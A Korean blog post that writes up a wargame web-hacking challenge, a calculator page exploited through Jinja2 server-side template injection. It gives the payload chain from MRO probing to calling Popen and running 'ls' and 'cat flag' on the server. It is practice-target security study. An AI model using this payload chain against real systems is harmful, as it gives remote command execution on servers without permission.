워게임 웹해킹 #01 (Web Hacking - Calculator)

만두다섯개·2024년 2월 11일
0

웹해킹 워게임

목록 보기
1/1

문제 출처 https://h4ckingga.me/challenges

1. CASE 제시


문제에서 알려주는 링크로 접속하면 간단한 계산기 페이지가 나온다.

사용자 입력값을 사용해 서버로 전송한다. 그리고 서버에서는 이를 사용해 결과값을 만들어 내고 이를 출력한다.
어디서 많이 본 로직이다.
SSTI 취약점이 있을거라고 예상하고 접근한다.

SSTI 취약점을 확인하기 위해 문자열과 문자열 클래스의 MRO 튜플 인덱스를 확인한다.

공격문 : test.__class__.__mro__[0]

공격결과

공격결과로 아래와 같은 사실을 확인 가능하다.
1. 서버 템플릿 엔진 jinja2 사용
2. 보통 SSTI 취약점을 확인하기 위해 사용하는 입력값에서 중괄호(braces)가 이미 씌워진 상태로 입력값 사용.

{{'test'.__class__.__mro__[0]}} => 에러 발생

따라서 flag를 찾기 위해 SSTI 취약점을 사용해 탐색한다.

3. CASE 해결

공격문

test.__class__.__mro__[1].__subclasses__()

공격결과

subclasses에서 popen 클래스를 찾는다.

213번째 subclasses 인덱스에서 Popen 클래스가 존재한다.

서버에게 실행시킬 시스템 명령어를 지정 및 출력하기 위해 아래와 같은 명령어를 사요한다.

공격문 : test.__class__.__mro__[1].__subclasses__()[213]('ls',shell=True,stdout=-1).communicate()

공격결과

flag 라는 파일이 보인다. 해당 파일을 확인한다

공격문 : test.__class__.__mro__[1].__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()

공격결과

4. 피드백

특정 환경의 입출력 부분으로부터 어떤 취약점이 존재하는지 예상연습이 더 필요하다.

참고 블로그

SSTI 취약점 및 공격 : 모의해킹 스터디 2주차

profile
磨斧爲針

0개의 댓글

관련 채용 정보